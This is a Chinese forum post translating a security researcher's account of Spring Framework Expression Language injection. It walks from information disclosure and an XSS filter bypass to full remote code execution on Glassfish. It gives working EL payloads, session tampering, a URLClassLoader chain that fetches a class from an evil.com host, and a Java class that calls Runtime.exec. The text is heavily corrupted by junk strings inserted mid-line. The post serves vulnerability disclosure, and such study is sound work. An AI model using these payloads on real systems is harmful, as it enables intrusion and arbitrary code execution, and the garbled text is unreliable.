找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
, d1 C6 c6 x2 QExpression Language Injection2 Z: t: c+ |  F
Spring Framework脆弱性—DanAmodio
0 e8 q" H* h2 U全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
% ?$ N5 H( s" X可能会存在风险。! l& Z8 p6 L3 k* P1 g" b8 V) Y: [
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
8 @9 o: b6 \7 X+ J  `) eArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可4 }7 Q9 p4 e2 ~+ p+ u9 b
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
8 Z/ ?) f3 g0 A/ G3 `' z+ ?以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
; U6 ?: q* m. Y* `) S$ B. C; U6 _版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
& O1 l$ N" u4 f& T. b由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但; w7 P1 f# m/ A. W- m" x! S
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
1 O$ n* L$ P# B本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
6 {2 |* V/ ~$ R这些版本不支持禁用double EL resolution.9 \5 P! O' @: C& E) ^) _
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含' h1 [' B) z7 R4 |2 N7 a* s" B! y
EL2.2容器上可能进行远程代码执行。1 `8 R5 E' c. B3 k- s
这是一个原始信息泄露的攻击例子:2 m* W- n: v# U; T" A! V5 K* Y2 b
请求:1 ?! b: X, o4 P& E$ _) Q/ R
ttp://vulnerable.com/foo?message=${applicationScope}
$ u8 \8 q6 U. }3 C3 _' y4 _到达以下内容页面:
; N3 Z' ^, R) N# W; _5 |5 B8 Z6 q结果将输出一些包含内部服务器信息calsspath 和本地工作目录0 u3 b+ K; U( X4 d- x* k
你也可以做一些其他事情,如这样:# ?# P7 P" {$ s5 ?+ p
${9999+1}
9 ~. w/ X0 o5 P1 K还可以访问session 对象和beans$ x& a  J  d' C  a1 ]9 M
${employee.lastName}; u$ a8 Z# p9 G& h
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
* l# l* t1 s/ Q% v' ]/ QEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
7 t7 O' V# k% r% W: U, G8 X西,比如XSS.
" A6 ]8 m8 H* a1 N哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签' d. E/ B6 R$ S  V5 d, I! Y
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
9 o) X7 t4 Y% O9 C呢?”
. j$ j* K6 x% a& I$ a) z因此,我尝试巳缦拢�5 X& A. A7 T; y# F/ {2 g$ F
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
' l4 Y: n8 @( i) VP
) }- c2 X' |4 n. g9 w/ S我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
+ [9 G& [8 D/ R0 w) f) d回的文本被插入进了spring:message 标签。% j+ U0 J- x, x( t3 B- o: h; }
这里是一个最终绕过过滤的实例:
% @! J. F* q, J$ `5 u3 v* |http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ  S# J# H+ ~# w. \& N
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为1 W% D  X+ Q9 Y2 e
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
, m& n! R" C9 m' i经过一番研究,我学习到EL2.2 增加了方法调用。
/ M1 W* S, g/ M2 U我写了一个快速测试应用程序代码并且检测一些功能6 c6 [1 X9 G4 z0 \, o( r
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
, Q# b" S! y# G4 A& L${pageContext.request.getSession().setAttribute(“admin”,true)}
: ], I% c* ]2 L# t+ J3 `好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的; v7 u. [) m6 I- {2 @- E
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
2 J6 h/ i; l: R  G- g/ h' X${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
: x/ ?! ~* o. d8 J/ g“, 1234)}+ x. l7 B5 }% z- V
${“”.getClass().forName(“java.lang.Runtime”)}
+ B1 o; f& o& k% n$ f" t$ q哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不3 V- O" w/ [7 x5 A9 n
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
9 J7 E3 V$ @& o( a& A+ M: `数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有! `- _2 c: l9 J; W3 V3 _
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于, Z4 l1 D- k( J9 {& v
方法签名invoke(Object obj, Object„ args)
+ I) U! h+ e. y4 N9 @' ?1 e0 @! XJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问, g% g  @6 W0 V: _) D
题,以让它可以工作起来。
7 O" ?5 O3 a, j4 T8 A漏洞利用:& n% C6 _5 U1 ?
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我6 K% O; _9 F; t5 k% }* {
希望你们中的一些JAVA奇才告诉我我是如此的可笑。0 D5 k3 h9 U9 E6 C
这里有一些我试过的失败的用例,为了试图让它工作的用例:% X+ @& [0 ]' ?, C$ a/ _
 写文件到文件系统
4 a3 P/ R, Q2 m) s 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
# d; i& {9 S. `2 w6 ]* _/ B2 h我认为这些可以很好的工作,但是我不能找到合适的类来载入。
( P) e# p/ Y4 r# R${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
4 o: Y: s. J& F/ njavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
: c( e( @$ R7 k( `% Uorg.springframework.expression.spel.standard.SpelExpressionParser not found
3 S' X* b0 `( S  Eby8 D: g" F% F. t3 v5 v, A
org.glassfish.web.javax.servlet.jsp [194].' ]0 H1 `& e: f7 C( r
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
8 n( z8 z; J  J6 N3 M 利用反射来创建一个新的Runtime(and watch the world burn)
$ X# e8 M8 c6 e${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName! Y& v+ x9 q; e2 O8 E
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
5 l' ^8 d2 @2 \/ R4 f2 m2 S${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}3 }$ H! v; K6 q8 s
 使用java.lang.ProcessBuilder/ ~" B& r% \% o% E4 W- m
 用表达式语言来评估表达式语言
$ {! K5 g. o: Y) zExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.9 U/ R' E$ M/ d5 i1 N7 i
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request/ z& ]  m8 G/ _
“,”".getClass(),null)}
$ e9 R& T! z  R5 G 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂). S( j- a8 j5 P5 D. K! f# n4 Y
我在使用一个空数组通过Method.invoke()时失败了很多次
7 W1 M+ k; y* k8 d5 e“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
  w& P) c  `. I+ W.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
) {/ i* l2 C: S$ J/ NrrayList”).newInstance().toArray())9 t2 H5 L  \- k1 T7 t0 L4 m& Y! ~
java.lang.IllegalArgumentException: wrong number of arguments1 C- D3 N4 @( e6 e
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
8 B  }) n- c" l& T" Z( i( |0 S以创建一个恶意class文件并且指向类装载器.# V9 x8 _8 ^$ V# n! m% r
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:3 y" \! t+ a$ p
public class Malicious {
0 N; l$ z4 \& f. e  {) ipublic Malicious() {+ q( A. c3 A3 n0 d7 u/ m" w
try {9 q- F, r, N& d; |$ Q' M7 ?9 h5 n* [
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac, \1 j2 q( w, Z3 U1 j
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
% ]& ?6 u8 s  r9 p} catch (Exception e) {7 g6 ]' V7 M0 P" f5 ?5 |
}  E5 Z8 x% M* c3 ~/ v2 ^
}
0 d: v; L: }- p5 t: M# L1 C我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回4 ~# o# B$ e9 D" @% d8 a; D. k; |7 [& R
话中,因此它可以被使用., S0 q: w$ c( i$ S! D
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
' [6 v5 X. I7 V$ ?5 X(“java.util.ArrayList”).newInstance())}
5 a* K' _) k# H8 Y1 UURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建( w+ o  q1 H& @
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
9 L& R5 u  S/ J3 F/ ]getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
1 w( M& z& z7 i- a2 O我们可以调用的create(string)方法,然后转换对一个URL对象。
/ F8 D- L  d) N( s* o5 h  L${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
1 w4 X6 ]* }; K- t8 O$ z% kere/malicious/classfile/is/located/”).toURL())}
! t% E" i) h/ p0 C. \* D; X然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,1 ]' W" G# o# r; R+ ]3 X6 Z+ t
恶意类文件被装载并创建,触发远程代码.5 R$ ?$ G$ @+ _- R6 E- ]* I
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte9 ]* G- B, [1 s" o# T/ p
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().3 f  j% M5 c, G
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
3 z/ a& s; [' s' \( x()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表